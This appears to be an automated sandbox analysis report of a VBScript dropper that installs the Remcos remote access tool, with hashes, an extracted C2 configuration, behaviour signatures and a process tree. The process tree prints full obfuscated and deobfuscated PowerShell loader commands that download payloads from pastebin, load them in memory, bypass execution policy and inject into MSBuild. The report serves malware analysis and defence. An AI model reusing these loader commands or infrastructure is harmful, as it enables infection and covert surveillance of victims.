Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2024 17:53

General

  • Target

    segura.vbs

  • Size

    1.9MB

  • MD5

    753a9d435fdf6803ca970ba23d3dfe0d

  • SHA1

    03aa37de89660b8d2fd9ef5aabc61a83a7f410c8

  • SHA256

    cdff410d32d5b177320f80eb8bc6be51de994bd11cc17e7013ae400e1947ca6f

  • SHA512

    426a53f1003bd48f4933266eecfeedfe74ea374a50b1b9ff2d969dc0333e4a9370ccb75640e08bcd0e93a3b2e9d0bbf60a5ed7fc117fef79e1f54f53c9a44c6a

  • SSDEEP

    192:dG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4GAG4l:XQb7SOE9Cm6wn

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/Adv9gBHa

exe.dropper

https://pastebin.com/raw/Adv9gBHa

Extracted

Family

remcos

Botnet

NtPriv

C2

wins.coemprsasltda.pro:3000

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-3L7DW9

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\segura.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★QQBk★HY★OQBn★EI★S★Bh★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★D★★LwBV★Fg★VQBW★Dc★LwBk★C8★ZQBl★C4★ZQB0★HM★YQBw★C8★Lw★6★HM★c★B0★HQ★a★★n★Cc★I★★s★C★★Jw★n★CU★SgBr★FE★YQBz★EQ★ZgBn★HI★V★Bn★CU★Jw★n★C★★L★★g★Cc★JwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★LQ★t★C0★LQ★t★C0★LQ★n★Cc★L★★g★Cc★Jw★w★Cc★Jw★s★C★★Jw★n★DE★Jw★n★Cw★I★★n★Cc★UgBv★GQ★YQ★n★Cc★I★★g★Ck★I★★p★C★★Ow★n★C★★Ow★k★FY★QgBX★Fc★eg★g★D0★I★★o★C★★WwBT★Hk★cwB0★GU★bQ★u★Ek★Tw★u★F★★YQB0★Gg★XQ★6★Do★RwBl★HQ★V★Bl★G0★c★BQ★GE★d★Bo★Cg★KQ★g★Cs★I★★n★GQ★b★Bs★D★★Mw★u★H★★cw★x★Cc★I★★p★C★★Ow★k★E0★TwBE★FI★Zw★g★Hw★I★BP★HU★d★★t★EY★aQBs★GU★I★★t★EY★aQBs★GU★U★Bh★HQ★a★★g★CQ★VgBC★Fc★VwB6★C★★I★★t★GY★bwBy★GM★ZQ★g★Ds★c★Bv★Hc★ZQBy★HM★a★Bl★Gw★b★★g★C0★RQB4★GU★YwB1★HQ★aQBv★G4★U★Bv★Gw★aQBj★Hk★I★BC★Hk★c★Bh★HM★cw★g★C0★RgBp★Gw★ZQ★g★CQ★VgBC★Fc★VwB6★C★★Ow★=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\segura.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3000
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/Adv9gBHa' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/UXUV7/d/ee.etsap//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\segura.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4420
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2148
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:4844

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    144B

    MD5

    5442dd75680e78fafcd556df2c684622

    SHA1

    8ed794ce800aea0b5497edc5a794acf3a23cd587

    SHA256

    a90d556fe4e5dd8b7c10320ac2ad25cdf161bf50c7c0dfb2f2de34e8ffa1b056

    SHA512

    5471193b2f3be50cba397a13d2c932d512f04db2cdffda822f23bb2d7a00d29a360b7ee202f805b6280024215bef9164364c058a27358cb18e4d451623a26211

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    6bf07852cb3bab59e6cc2dcab43ab011

    SHA1

    310635401d2c6a1bd7f77df365eb6371012aee2c

    SHA256

    5d968265d8f24ff9f80784bc6f3b5af2437781bce2b3d850db4a2bb49d0b5ad7

    SHA512

    8dc9aec471dbd68818ed6fec05efc6570dbddbed22946765d45d4bd5482814e306674df3f3ca0845828fcc0d604d685fcec0f3f7ad9e982b30aaaa39d26134a9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    8d80c45e0e047b75073a3d1c2710c68f

    SHA1

    babc73cf30327b36d184239a2747ec94d48929f4

    SHA256

    6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

    SHA512

    5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ddyrdmtv.5ic.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\dll01.txt

    Filesize

    148B

    MD5

    afe01ff31ec0a91a2d66fe057ad79f8c

    SHA1

    9db709b12eb1d9e579b32589737da2bfbede4550

    SHA256

    f13ab70a212838dae0155a91f76fb20902013246ced03102948a1a15d3b2fe87

    SHA512

    9e266438a5e8571ecaa0e61b5d0a8eac3231540357304fb4e52687fd4b95414d7f946cb31d2ffd0b72a836b2112f1ef3eb99cc2620b4edd6d14914154e583dc1

  • C:\Users\Admin\AppData\Local\Temp\dll02.txt

    Filesize

    294KB

    MD5

    99aee15396ea7abe3fb7a8adea77a17d

    SHA1

    7febdfae2f8b3aedaf6eaa0aaa1390f6b5e74d84

    SHA256

    c29724ee264774f32eb270f952070e4c53f47d26b082a7bd7eed07dca8b9cb4c

    SHA512

    436a676e60da7f9db2526bf0e1699b6f684d3283d330ee50badc932d3f49be7afb27484d9827fbbd0694d9b9813e845cb6da1cfca1fd6714836d72fbee561eec

  • C:\Users\Admin\AppData\Local\Temp\dll03.ps1

    Filesize

    942B

    MD5

    d9898296540612c96776cc5497292681

    SHA1

    0c5f5168c7df55ec35c1528ef7a782de0861d616

    SHA256

    19ea2bcd08fc915f8dcedee0c71dd3427066f1d93edb2bd3b27054b371cc2629

    SHA512

    5e5dcdb9e9d65ca53f533361c6a469561469703f9a95d197b81b7b1a0f53bb9e209f02e20fca48805073697c3226c3e61f5481bedea744967cf3c415bd43ff88

  • memory/2148-40-0x000001A082400000-0x000001A082416000-memory.dmp

    Filesize

    88KB

  • memory/2148-37-0x000001A0823E0000-0x000001A0823F6000-memory.dmp

    Filesize

    88KB

  • memory/3000-48-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-55-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-39-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

    Filesize

    8KB

  • memory/3000-1-0x000002049F0A0000-0x000002049F0C2000-memory.dmp

    Filesize

    136KB

  • memory/3000-12-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-11-0x00007FFB67ED0000-0x00007FFB68991000-memory.dmp

    Filesize

    10.8MB

  • memory/3000-0-0x00007FFB67ED3000-0x00007FFB67ED5000-memory.dmp

    Filesize

    8KB

  • memory/4844-58-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-67-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-54-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-56-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-41-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-57-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-59-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-61-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-66-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-51-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-47-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-74-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-75-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-82-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-83-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-91-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB

  • memory/4844-92-0x0000000000400000-0x000000000047F000-memory.dmp

    Filesize

    508KB